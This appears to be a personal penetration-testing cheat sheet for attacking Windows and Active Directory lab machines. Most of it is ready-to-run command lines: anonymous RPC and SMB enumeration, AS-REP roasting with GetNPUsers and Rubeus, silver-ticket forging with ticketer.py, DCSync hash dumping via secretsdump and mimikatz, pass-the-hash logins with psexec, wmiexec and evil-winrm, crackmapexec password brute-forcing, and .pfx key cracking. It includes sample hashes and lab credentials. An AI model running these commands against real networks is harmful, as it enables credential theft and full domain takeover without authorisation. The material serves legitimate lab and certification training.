This shows various checks that need to be performed while solving a machine.
-------------- WINDOWS ENUMERATION ---------------
SMB enumeration (139/445)
If SMB is on then check for shares first with all the tools -> smbmap, smbclient, enum4linux, etc.
If files are huge, then we can use "smbget" command to download them directly. (Check notion)
DNS enumeration (53)
Try finding subdomains or other domain names.
RPC Enumeration (Port 139, 593)
rpcclient can be used in most cases for gathering information but if it is not working then we can use it like this also -
rpcclient <target-ip>
#Normal command to check anonymous access
rpcclient -U '' <target-ip>
#Providing empty user sometimes work!!
rpcclient -U ''%'' <target-ip>
#Empty user with empty passwords (Worked for me in Resourced PG)
------------- AD ENUMERATION / EXPLOITATION------------
Enumerating all users & groups -
After getting access to the shell of one of the user, enumerate all the users & the groups they belong to using one of these -
net.exe
Powerview.ps1
Bloodhound
#Most of the machines will be depending upon this enumeration technique for the exploitation.
Looking for SSRF to get Foothold via Responder
If we have SSRF on the website running in the target or something else through which we can trigger a request to responder running in our machine, then we can easily get NTLMv2 hash of the target user. We can crack this hash with hashcat after to retrieve the password.
Explained in detail in Notion notes and taken from PG Heist machine.
Relaying NTLMv2 hashes to other machines
If we aren't able to crack NTLMv2 hashes, then we can relay them to other machines. If the user whose hash we have, is a local-admin on other machine, then we'll be able to get admin privileges on other machine.
If user accounts have kerberos pre-authentication disabled then we can use this impacket script (GetNPUsers.py) to get password hashes of those users and then crack them offline -
*Doesn't need valid credentials but valid credentials increase possibility of attack*
Use this command to get TGT of one of the users from above output -
Change format of TGT to hashcat or john for cracking it -
Now, we can use the cracked password to login as that user directly using evil-winrm or psexec or winexe (if we have enough access).
The similar thing can be done with Rubeus.exe binary directly from Windows ->
DCSync Attack - 2 ways -->
1. Secretsdump.py (Dumping creds) -
If we have enough privileges on the target machine or DC, then we can use secretsdump.py to dump secrets like passwords or hashes.
Use psexec.py or wmiexec.py now, to perform pass the hash attack to get administrator shell access.
#PSexec gives -> NT Authority/System privileges
#WmiExec gives -> administrator privileges
2. Mimikatz - DCSync
psexec.py / wmiexec.py / evil-winrm (Pass the Hash or passwd)
#psexec & wmiexec only work if we have write access to one of the shares.##
If we have a user hash, then we can use below tools to perform pass the hash attack to get shell access as the user whose hash we possess.
We can use rc4-hmac hash also for this purpose (it is same as NT HASH).
psexec.py provides us NT Authoriy/System privileges, if we use "administrator" use like this ->
wmiexec.py provides "admin" privileges with the "administrator" hash ->
evil-winrm can also be used to login with user's password or hash -> (Port 5985)
CRACKMAPEXEC (Post Exploitation - Enumeration)
Brute-forcing username & password over multiple services -
Using username & password for enumeration -
Getting password policy -
Getting shares from the target -
Executing commands -
Getting all the shares using spider_plus module in crackmapexec ->
Bloodhound.py (using valid credentials) -
Run neo4j console & then bloodhound GUI and put all .json files in it for evaluation.
Bloodhound needs port 389 (LDAP) to be open.
Getting shell access with .pfx files using evil-winrm -
If we have valid .pfx files then we can extract public (crt) and private keys from it to login using evil-winrm. (This is like logging in with ssh keys without username in linux)
We might need to crack the password of .pfx file first which can be done using john -
Now, using the cracked password we need to extract the keys out of it.
First, extract the private keys -
Now, we can decrypt this key too so that we don't have to remember the password -
Extracting public key (crt) -
Now, we can simply use evil-winrm to login using these 2 keys like this -
"SeBackupPrivilege" Privilege Escalation
We can run "whoami /priv" to check whether we have "SeBackupPrivilege" set. It can be used to drop administrator hashes, which then can be used to perform PTH attack.
If we have low privilege access to the domain controller & we have this privilege set, then it can exploited to get domain admin privileges.
netsh advfirewall firewall show rule name=all
#Not recommended as it generates a lot of output
powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
#shows only rules that block outbound traffic (Remove "-Enabled True" if needed)
#Use -All to dump all the rules (generates a lot of output)
kerbrute userenum -d <domain> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.175
#It is recommended to use shorter usernames list (from website or other source)
smbclient.py scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip 10.10.10.168
#Provide "-k" when AD is using kerberos authentication (NTLM is disabled)
#Provide dc hostname with "-k" flag ******
getPac.py -targetUser administrator <domain>/<username>:<password>
#It needs valid credentials to run
ticketer.py -nthash <NTLM-HASH> -domain-sid <sid-value> -domain <domain> -dc-ip <IP or dc-hostname> -spn MSSQLSvc/dc1.scrm.local:1433 administrator
#Generates a TGS for "administrator" user with NTLM hash of the service account** to which SPN was assigned
#This command is for MSSQLSvc account (change it for yours)
KRB5CCNAME=administrator.ccache klist
#klist can be used to list stored tickets in memory (for both Windows or Linux)
#change the "name of the ticket" as per your need
KRB5CCNAME=administrator.ccache mssqlclient.py -k dc1.scrm.local
#"-k" because of Kerberos auth
impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/
#This commands gets users who have kerberos authentication disabled
#But, this only uses bunch of default users
impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/ -usersfile <usernames-file>
#Passing the potential usernames found during enumeration
impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/ -request
#Get TGT using "-request"
#Use "-usersfile" to pass potential usernames
impacket-GetNPUsers -dc-ip 192.168.191.70 -request corp.com/jeff:HenchmanPutridBonbon11
#AS-REP Roasting with valid credentials
.\Rubeus.exe asreproast /nowrap #Run directly from Windows GUI or revshell
impacket-secretsdump -just-dc-user <target-user> <domain>/<user>:<passwd>@<DC-IP>
#Here we are grabbing hash of any target-user (mainly administrator) by contacting DC
#We are using DC because we have DC-Sync rights
secretsdump.py '<user>:<password>@<machine/target-ip>'
#Should fetch administrator & other hashes in "LM:NT" format
#Target doesn't need to be DC only, we can dump hashes if we are local admin there
.\mimikatz 'lsadump::dcsync /domain:<domain> /user:administrator' exit
#Run this command from user shell who has "Replication rights" (DCSync rights)
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff' -dc-ip 10.10.10.175 administrator@10.10.10.175
#Using LM:NT hash format, which we usually get from "secretdumps.py"
psexec.py ignite/administrator:pass123@192.168.1.105
#Using raw username & password for login
./PsExec64.exe -i \\FILES04 -u <domain>/<user> -p <pass> cmd
#Executing command directly from domain-joined machine (target Windows OS)
#FILES04 is one of the machine from target Network
wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff' -dc-ip 10.10.10.175 administrator@10.10.10.175
#Using LM:NT hash format, which we usually get from "secretdumps.py"
wmiexec.py ignite/administrator:pass123@192.168.1.105 dir
#Using raw username & password for login
evil-winrm -i 10.10.10.175 -u administrator -H d9485863c1e9e05851aa40cbb4ab9dff
#Using NTLM hash of the user
evil-winrm -i 10.10.10.175 -u administrator -p pass123
#Login with password of the user
crackmapexec smb 10.10.10.161 -u <usernames> -p <passwords>
#Brute-forcing over "smb"
crackmapexec winrm 10.10.10.161 -u <usernames> -p Pass123
#Brute-forcing over "winrm" - port 5985
bloodhound-python -c All -u Tiffany.Molina -p NewIntelligenceCorpUser9876 -d intelligence.htb -dc dc.intelligence.htb -ns 10.10.10.248
#This bloodhound ingestor is present at both -> APT & Github repository.
#If it throws -> "Crypto" module not found error, then ->
just replace "Crypto.Hash" with "Cryptodome.Hash" in ntlm.py file inside ldap3 package.
pfx2john.py legacyy_dev_auth.pfx #Save the hash generated in a file
john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx.hash
#Crack that hash using the above command
openssl pkcs12 -in <pfx-file> -nocerts -out extracted-file.key-enc
#Set a PEM passphrase while extracting the key
openssl rsa -in extracted-file.key-enc -out <decrypted.key>
#Now, the decrypted key can be used directly without the passphrase